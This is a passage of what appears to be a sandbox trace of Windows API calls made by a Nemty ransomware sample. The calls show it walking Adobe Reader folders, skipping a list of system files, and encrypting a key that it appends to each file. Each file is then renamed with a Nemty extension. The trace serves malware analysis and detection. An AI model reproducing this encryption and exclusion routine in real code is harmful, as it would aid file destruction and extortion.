HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0214.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0214.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0214.471] Sleep (dwMilliseconds=0x5) [0214.482] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x337a9c30, dwHighDateTime=0x1d561e8)) [0214.482] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x337a9c30, dwHighDateTime=0x1d561e8)) [0214.482] GetLastError () returned 0x0 [0214.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.482] GetLastError () returned 0x0 [0214.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.482] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0214.483] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0214.483] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0214.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0214.483] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e5dc | out: pszString="D34qaY0pY2MAVZuOR6BLTBIe8qzaf+Q+dnjF6+O0x0xiBkdhJ5tDfeXdzylmm7xx\r\nb5Jq/DjAQiRHczVd7ePytDjyNPHVKjikQD30x/A7Pn5ZiTCPV4sI7MJdn/EJly6b\r\nXpgzZqe+BhZat2yl/iIOpgvGVdqQsnePmL5wF9YrJI+jeCnLv+nYHXtA1SHRP9RS\r\nznoDTtZv5TvJz/jmI3N+Th+h/gAozRuAn6C0wNTNMk+Muhbz/+nGTTdp/bqZZ84n\r\nyrv+QYRxQ9z0l5EGjM8mOIZ52MrQx9JpCw2vv/ozSRrHRlsWsFfnr6lQXSi4N5i7\r\nC7KmMpZM44HIwMW9AVTjyA==\r\n", pcchString=0x653e5dc) returned 1 [0214.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0214.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0214.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0214.483] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\zy______.pfm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\pfm\\zy______.pfm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0214.483] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=684) returned 1 [0214.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2a0) returned 0x6340048 [0214.483] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.483] ReadFile (in: hFile=0x2e8, lpBuffer=0x6340048, nNumberOfBytesToRead=0x2a0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesRead=0x653e824*=0x2a0, lpOverlapped=0x0) returned 1 [0214.484] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.484] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x2a0, lpOverlapped=0x0) returned 1 [0214.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0214.490] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=684, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2ac [0214.491] WriteFile (in: hFile=0x2e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0214.491] CloseHandle (hObject=0x2e8) returned 1 [0214.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0214.491] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.491] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0214.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f942e8 [0214.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0214.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.491] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\zy______.pfm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\pfm\\zy______.pfm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\zy______.pfm._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\pfm\\zy______.pfm._nemty_kgobjgd_")) returned 1 [0214.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0214.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0214.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0214.492] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x337116b0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x337116b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x33737810, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0214.492] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0214.492] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0214.492] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0214.492] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0214.492] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0214.492] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0214.492] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0214.492] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0214.492] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0214.492] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0214.492] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0214.492] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0214.492] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0214.492] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0214.492] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0214.492] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0214.492] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0214.492] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0214.492] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0214.492] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0214.492] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0214.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0214.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0214.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0214.493] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0214.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.493] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0214.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0214.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.493] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0214.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.493] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0214.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.493] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0214.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.493] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0214.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94240 [0214.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0214.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.493] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x337116b0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x337116b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x33737810, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0214.493] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0214.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0214.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941b8 | out: hHeap=0x4f90000) returned 1 [0214.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0214.493] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f57cca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8791, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY______.PFB", cAlternateFileName="")) returned 1 [0214.493] lstrcmpiW (lpString1="SY______.PFB", lpString2=".") returned 1 [0214.493] lstrcmpiW (lpString1="SY______.PFB", lpString2="..") returned 1 [0214.493] lstrcmpiW (lpString1="SY______.PFB", lpString2="...") returned 1 [0214.493] lstrcmpiW (lpString1="SY______.PFB", lpString2="windows") returned -1 [0214.493] lstrcmpiW (lpString1="SY______.PFB", lpString2="$RECYCLE.BIN") returned 1 [0214.493] lstrcmpiW (lpString1="SY______.PFB", lpString2="rsa") returned 1 [0214.493] lstrcmpiW (lpString1="SY______.PFB", lpString2="NTDETECT.COM") returned 1 [0214.494] lstrcmpiW (lpString1="SY______.PFB", lpString2="ntldr") returned 1 [0214.494] lstrcmpiW (lpString1="SY______.PFB", lpString2="MSDOS.SYS") returned 1 [0214.494] lstrcmpiW (lpString1="SY______.PFB", lpString2="IO.SYS") returned 1 [0214.494] lstrcmpiW (lpString1="SY______.PFB", lpString2="boot.ini") returned 1 [0214.494] lstrcmpiW (lpString1="SY______.PFB", lpString2="boot.ini") returned 1 [0214.494] lstrcmpiW (lpString1="SY______.PFB", lpString2="AUTOEXEC.BAT") returned 1 [0214.494] lstrcmpiW (lpString1="SY______.PFB", lpString2="ntuser.dat") returned 1 [0214.494] lstrcmpiW (lpString1="SY______.PFB", lpString2="desktop.ini") returned 1 [0214.494] lstrcmpiW (lpString1="SY______.PFB", lpString2="CONFIG.SYS") returned 1 [0214.494] lstrcmpiW (lpString1="SY______.PFB", lpString2="RECYCLER") returned 1 [0214.494] lstrcmpiW (lpString1="SY______.PFB", lpString2="BOOTSECT.BAK") returned 1 [0214.494] lstrcmpiW (lpString1="SY______.PFB", lpString2="bootmgr") returned 1 [0214.494] lstrcmpiW (lpString1="SY______.PFB", lpString2="programdata") returned 1 [0214.494] lstrcmpiW (lpString1="SY______.PFB", lpString2="appdata") returned 1 [0214.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.494] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SY______.PFB", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0214.494] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SY______.PFB", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SY______.PFB", lpUsedDefaultChar=0x0) returned 12 [0214.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.494] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SY______.PFB", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0214.494] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SY______.PFB", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SY______.PFB", lpUsedDefaultChar=0x0) returned 12 [0214.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.494] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SY______.PFB", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0214.494] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SY______.PFB", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SY______.PFB", lpUsedDefaultChar=0x0) returned 12 [0214.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.494] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SY______.PFB", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0214.494] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SY______.PFB", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SY______.PFB", lpUsedDefaultChar=0x0) returned 12 [0214.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0214.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0214.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0214.494] Sleep (dwMilliseconds=0x5) [0214.498] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x337cfd90, dwHighDateTime=0x1d561e8)) [0214.498] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x337cfd90, dwHighDateTime=0x1d561e8)) [0214.498] GetLastError () returned 0x12 [0214.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.498] GetLastError () returned 0x12 [0214.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.498] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0214.498] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0214.498] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0214.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0214.498] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="IBmhZI/Ma6pXVDEoDLZVGM1E2AVMIeqp7DeWtiT87XZJQvLfJwdweZahL+15HAqX\r\nEtkRwO31PGyymVOoDTteQw/+5NhJ0XMSI29L1LjR7J5Tj6qFpiXrcVJrwR1K0plB\r\nWFk3l1DKu6isOE2J0Spd0V8Fsut9NLlY3GFTt6UGUX3iVbkC7enu1dKAfbe1rMZ/\r\nsQ/9AsrbvjGa+p4XYLs/yQkAloTepEvCaWstcrp5s0W3UcvgqfmzUM04wbyPeJyJ\r\nMzZnLCEC1xWr3fF9A0bQWWbV3ziDubI7W+53imcScB6bKT2gXoOQexLm4RiD6sl9\r\nYMytPLIY2+A27ZGa7w2qEA==\r\n", pcchString=0x653e91c) returned 1 [0214.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0214.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0214.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0214.499] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\SY______.PFB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\sy______.pfb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0214.499] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=34705) returned 1 [0214.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x8790) returned 0x6352c48 [0214.499] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 